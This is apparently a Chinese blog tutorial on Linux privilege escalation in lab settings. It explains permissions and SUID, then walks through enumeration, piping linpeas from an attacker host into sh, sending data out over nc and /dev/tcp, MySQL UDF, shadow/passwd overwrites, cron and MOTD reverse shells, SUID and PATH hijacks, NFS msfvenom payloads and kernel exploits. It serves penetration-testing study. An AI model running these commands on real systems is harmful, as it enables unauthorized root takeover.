linux提权

193 阅读10分钟

用户、组、文件、目录四者之间的关系

用户可以属于多个组。组可以具有多个用户。

每个文件和目录都根据用户、组和"其他用户"(所有其他用户)来定义其权限。

用户

用户帐户配置在/etc/passwd文件。

用户密码哈希存储在/etc/shadow文件中。

用户由整数用户 ID (UID)识别。

root用户帐户是 Linux 中的一种特殊类型的帐户。它的 UID 为 0,系统允许此用户访问每个文件。

组配置在/etc/group文件中。

用户有一个主要组,并且可以有multiple二级(或补充)组。

默认情况下,用户的主要组与用户帐户的名称相同。

文件和目录

所有文件和目录都有一个所有者和一个组。

权限以读取、编写和执行操作的方式定义。

有三组权限,一组为所有者,一组为组,一组为所有"其他"用户

只有所有者才能更改权限

权限文件权限

• Read -设置后,可以读取文件内容。

• Write -设置后,文件 内容可以修改。

• Execute -设置后,文件可以执行 (即作为某种过程运行 )。

目录权限

• Execute 设置时,目录可以输入。未经此许可,读取或写入权限均不起作用。

• Read -设置时,目录内容可以列出。

• Write -设置时,文件和子目录可以在目录中创建。

特殊权限

• setuid (SUID) bit

设置后,文件将使用文件所有者的权限执行。

• setgid (SGID) bit

设置在文件上时,文件将使用文件组的权限执行。

设置在目录上时,该目录内创建的文件将继承目录本身的组。

查看权限

ls命令可以查看权限

ls -l /bin/date

image.png 简单阐述一下: 前10个字符表示对文件设置的权限或目录。

第一个字符只是表示类型,

例如,

“-” 表示普通文件,如.txt,.c,*.h “d” 表示目录,directory “l” 表示软链接文件(ln -s 创建的),link file “p” 表示pipe管道文件 “b” 表示块设备文件,block device “c” 表示字符设备文件,char device “s” 表示socket套接字文件,用于实现两个进程间通信

剩下的9个字符代表3组权限(所有者、组、其他)

每组包含3个字符,表示读(r)、写(r),可执行(x)

SUID/SGID权限由中的s表示执行位置

3个一组,共3组,拿

[rwx][r-x][r-x]这3组分别表示文件所有者的权限,组的权限和其他用户的权限。

r(read,读权限) :对文件来说,具有读取文件内容的权限;对目录来说,具有浏览目录及子目录的权限。 w(write,写权限):对文件来说,具有修改、删除文件内容的权限;对目录来说,具有删除、移动目录内文件的权限。 x(execute,执行权限):对文件来说,具有执行文件的权限;对目录来说,该用户具有进入目录的权限。

—:表示无任何权限

真实、有效和保存的UID/GID用户是由用户ID标识的

在linux中,每个用户有3个用户id(real、effective、saved)

用户的真实ID是/etc/passwd中定义的ID

用户的有效id通常等于其真实ID,但是作为另一个用户执行一个进程时,有效id被设置为该用户的真实身份

在大多数访问控制决策中,有效ID用于验证用户,

whoami等命令使用有效id

最后保存的id用于确保SUID进程

临时将用户的有效id切换回其真实ID并返回,在不丢弃原始有效ID的情况下

实操

真实有效的用户/组id

image.png uid=1000(swq):这表示用户的UID(用户标识号),在这里是1000。UID是一个唯一的数字,用于标识系统上的每个用户。括号中的文字 "swq" 是用户名,与UID关联。

gid=1000(swq):这表示用户所属的主要组的GID(组标识号),在这里也是1000。与UID类似,GID是一个唯一的数字,用于标识用户所属的主要组。括号中的文字 "swq" 是主要组的组名。

组=1000(swq),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),117(wireshark),120(bluetooth),129(scanner),140(kaboxer):这是用户所属的其他附加组的信息。每个组都有一个唯一的GID和一个名称,这些组分别是用户所属的附加组。在括号中,数字表示GID,括号外的文字表示组名。用户可以属于多个组,以便具有不同的权限和访问

**当前进程(即我们的shell)**真实、有效、已保存和文件系统用户/组

cat /proc/$$/status | grep "[UG]id"

image.png 目的是获取当前正在运行的 shell 进程的用户标识(UID)和组标识(GID)信息。

以下是输出的解释:

Uid: 1000 1000 1000 1000:这一行显示了与用户标识(UID)相关的信息。UID是用户的唯一标识号,用于识别用户。在这里,有四个数字,分别是 1000。这些数字通常表示以下含义:

第一个数字是实际的用户UID(即启动该进程的用户的UID)。

第二个数字是有效用户UID,通常与实际UID相同。

第三个数字是保存的设置用户ID(setuid)。

第四个数字是保存的设置组ID(setgid)。

Gid: 1000 1000 1000 1000:这一行显示了与组标识(GID)相关的信息。GID是用户所属的主要组的标识号。在这里,与UID一样,有四个数字,分别是 1000。这些数字通常表示以下含义:

第一个数字是实际的组GID(即启动该进程的用户的主要组的GID)。

第二个数字是有效组GID,通常与实际GID相同。

第三个数字是保存的设置组ID(setgid)。

第四个数字是无用的,通常会与有效GID相同。

手动枚举

whoami # 查看当前用户权限,如果是root用户就不用提权;id # 查看当前id的uid和gid,和权限id+其他用户 # 查看某个用户who # 查看其他登录状态的用户用户w # 当前用户的具体信息last # 最近登录进来的用户uname -a # 查看linux操作系统内核信息uname -r # 查看内核版本cat /proc/version # 查看linux系统当前操作系统版本信息cat /etc/issue # 查看linux当前操作系统发行版本信息cat /etc/redhat-releas # 查看linux当前操作系统发行版本信息cat /etc/*-release # 查看linux当前操作系统发行版本信息ip addr # 查看当前用户的网卡和ipip route # 查看路由ip neigh # 查看网络邻居arp -a # 查看局域网中绑定的ip地址hostname # 查看机器名称hostnamectl # 显示的名称更加全​sudo -l # 查看那些是可以以root权限运行的用户getcap -r / 2>/dev/null # 利用缺陷提权,ls -a # history # 历史记录cat /etc/passwd # 查看用户数有bash的用户cat /etc/crontab # 查看是否有自动任务echo $PATH # 查看是否有特殊路径env # 看整体环境变量ps -ef # 查看进程ps axjf # 查看进程个数,x指没有连接终端的进程ps aux # 查看进程个数 a所有 u指使用的用户top # 查看进程,在不断的刷新top -n 1 # 查看进程,但不刷新netstat -a # 查看占用进程的端口及idnetstat -at/-au # 查看带有tcp或者udp的进程netstat -l #查看那些端口在被监听netstat -ano # find / -perm -u=s -type f 2>/dev/null # 列出有usr的文件which awk perl python ruby gcc vi vim nmap find screen 2>/dev/null #查看用户是否安装vi vim... 可以用which查看那些可执行文件cat /etc/fstab #查看那些磁盘没挂载自动化枚举(可能会暴露流量,容易遗漏)

工具

PEASS-ng

执行:

1.可以下载本地执行

wget github.com/carlospolop…

加权 chmod +x linpeas.sh 然后 ./linpeas.sh运行

2.也可直接(官方推荐)

curl -L github.com/carlospolop… | sh

当靶机不能访问网络时,通过外机传入linpeas

首先在外机上下载linpeas

wget github.com/carlospolop…

然后再开启web服务

sudo python3 -m http.server 80

image.png 然后在靶机上连接外机

curl 192.168.178.141/linpeas.sh | sh

image.png 如何传回外机

在外机监听并存成txt

sudo nc -lvnp 81 | tee linpeas.txt

靶机中输入

curl 192.168.178.141/linpeas.sh | sh | nc 192.168.178.141 81

image.png 返回外机查看

image.png 已经开始扫描了

最后通过下面命令查看文本(防止乱码)

less -r linpeas.txt

image.png 当curl不能用时,可以试试cat

在外机上输入

sudo nc -lvnp 80 < linpeas.sh

在靶机上输入

cat < /dev/tcp/192.168.178.141/80 | sh

其它工具:

LinEnum

Linux-smart-enumeration

Linux-exploit-suggester

unix-privesc-check

服务漏洞提权mysql-UDFUDF提权 有时候我们通过一些方式获取了目标主机mysql的用户名和密码,并且可以远程连接。我们远程登录上了mysql服务器,这时,我们想通过mysql来执行系统命令,此时我们可以考虑使用UDF进行提权。

UDF是什么 UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。

使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。

当获得的用户权限过大

可以使用UDF提权

searchsploit mysql udf

image.png 将1518文件下载下来

searchsploit mysql udf -m 1518

ls

cat 1518.c

image.png 再文件中已经说明提权过程

image.png gcc -g -c 1518.c -FPIC (FPIC用于共享)

共享文件已经生成

image.png 然后登录到mysql的数据库中

sudo mysql -u root -p

image.png 查看是否有权限及secure_file_priv为空

show variables like '%secure_file_priv%';

image.png show variables like '%plugin%';

image.png 然后按照上面文件给的操作

use mysql; create table foo(line blob);

insert into foo values(load_file('/home/swq/

image.png 然后继续按照.c文件操作即可

image.png ** 可读shadow文件利用**通过枚举查看shadow文件,发现可读,为什么查看shadow文件,因为之前root密码都是存在passwd文件,现在shadow中也有,并且以哈希存储 ls -liah /etc/shadow 查看shadow文件 cat /etc/shadow/

image.png 找到带有哈希值的文件

cat /etc/shadow | grep ':$'

image.png 对其进行破解便有账号密码 当不知道是什么加密是时候可以用工具hash-identifier识别

image.png 要善于拷贝shadow文件,方便更改后的还原 cp /etc/shadow /tmp/shadow.txt 可以使用mkpasswd生成哈希值放到可写的sahdow文件里 mkpasswd -m sha-512 Redteamnotes 那么更改的密码就会生效了 更改passwd中root密码提权 在自己卡里上给passwd可写权限

image.png 查看passwd文件,发现root就是我们的目标,其中x就是我们要替换的密码,因为密码会以哈希的形式存入shadow文件,最后passwd里是x

image.png 用openssl生成密码的hash,然后替换root后面的x,就可更改root密码

image.png sudo环境变量提权 sudo -l 查看环境变量

image.png 有env_reset 和env_keep俩选项说明是可以提权的

创建一个C语言文件

vim shell.c

输入以下文件

image.png 使用的共享库,所有要用共享库的语法编译

gcc -fPIC -shared -o shell.so -nostartfile

image.png 然后通过共享库使用sudo中无密码使用的find的工具,完成提权

image.png 自动任务提权 查看自动任务,可以看到root会自动执行那个.sh文件 cat /etc/crontab

image.png 那么查看overwrite.sh文件的位置、权限、内容

image.png 发现可写,就看写入反弹shell,进行监听

image.png 一分钟之内就会收到shell,拿到root权限

image.png 自动任务PATH环境变量提权前提

1.crontab只会执行crontab中的路径集

2.path有家目录,会优先运行家目录优先级靠前的文件

image.png 向overwrite.sh输入执行脚本

image.png 一分钟后,便可提权

image.png suid可执行文件已知利用提权查找并列出所有设置了"setuid"权限位的可执行文件(普通文件),关注其中exim-4.84-3

find / -perm -u=s -type f 2>/dev/null

image.png 查找4.84 searchsploit exim

image.png 下载下来

searchsploit exim -m 39535.sh

查看文件

image.png 架设服务器,用于在靶机下载刚刚那个文件

image.png 靶机输入

wget http://10.10.10.10/39535.sh

image.png 给权,然后执行文件获得root权限

image.png SUID共享库注入提权**直接执行可执行文件suid -so

image.png 直接strings /usr/local/bin/suid-so

查看可读字符串

image.png 对strings进行追踪,发现没有目录,那就创建文件

strace /usr/local/bin/suid-so 2>&1 | grep '/home'

image.png 写入提权命令

image.png 执行共享库 gcc -shared -fPIC -o libcalc.so libcalc.c

然后执行可执行文件

image.png SUID环境变量利用提权利用suid-env进行提权

image.png 查看看到最后是相对路径,并不是绝对路径,可以对其进行劫持,使其执行我们提供的相对路径的service文件

image.png vim service.c

写入C语言提权代码

image.png

执行

image.png

要对路径进行指定,这样就可以优先读取家目录下的service服务

export PATH=.:$PATH

image.png

执行可执行文件

image.png 巧用SUID-SHELL功能提权#1在bash版本号小于4.2时,可以在bash中定义函数,然后用路径的组合做文件名,所以正好契合上面service的利用方式

image.png

function /usr/sbin/service { /bin/bash -p; }

最后导入环境变量

export -f /usr/sbin/service

image.png

密码和密钥历史文件提权 输入history查看

image.png 可以看到

里面有mysql的root账密

可能root用户的密码也是,可以尝试一下

没问题,,是的

也可以输入cat ~/.*history | les

查找和history相关的文件

image.png

也要有查看特殊文件的习惯,比如.viminfo可能会有密码的输入

ls -liah

image.png

密码和密钥配置文件的查看特权 家目录先的所有文件都要翻翻看看

比如myvpn.ovpn

查看那个txt文件,就有root账密

image.png

SSH密钥敏感信息提权

image.png 到根目录下查找.ssh文件,这个很重要因为不仅高权限用户可以登录ssh,低权限用户也可以登录

到.ssh文件下发现root_key

image.png

复制key,对文本加权

尝试连接

发现签名不对,你就直接加

image.png

NFS提权 NFS文件共享的意思,网络文件共享,可以用于撕口子也可以用于提权

cat /etc/exports

查看是否有NFS服务

image.png

建立NFS,反弹shell

mount -o rw,vers=3 10.10.10.12:/tmp /tmp/nfs

注意这里版本为3.

发现要创建软连接

image.png

到tmp下查看一下我们创建的软连接

image.png

利用linux的msf生成shell

msfvenom -p linux/x86/exec CMD="/bin/bash-p" -f elf -o /tmp/nfs/shell.elf

然后给文件权限

image.png

到俩台主机的共享文件下运行shell文件

image.png

内核利用提权一般渗透最后办法了在利用内核提权,很需要经验

uname -a

查看内核,版本越低漏洞越多

然后同上linpeass的使用(不能访问外网)

image.png

然后查看searchsploit 40611

并下载文件searchsploit -m 40611

image.png

一样每一步都有

image.png

外机上建立web服务

sudo php -s 0:80

image.png

靶机访问

wget kali-ip/40611.c

image.png

之后就按照他说的做就行

也可以查找漏洞利用的其他方法,进行比较

image.png

操作

image.png doas less+vi 提权 查看可利用文件

image.png

查看doas文件发现,上面说只要保持环境变量就能执行后面的命令

image.png

接下来相当用less来查看文件

然后ESC+:!sh即可执行doas里var权限

image.png

利用MOTD机制提权查看motd文件

cd /etc/update-motd.d

里面有00-header文件是欢迎文件,一般等用户登录上就会直接执行

image.png

那么接下来就写入反弹shell进行监听

image.png

等待靶机登录,就会执行shell

image.png

一些重要命令

python -c 'import pty;pty.spawn("/bin/bash")'

stty raw -echo

export TERM=xterm-color

rlwrap nc -lvnp 443 #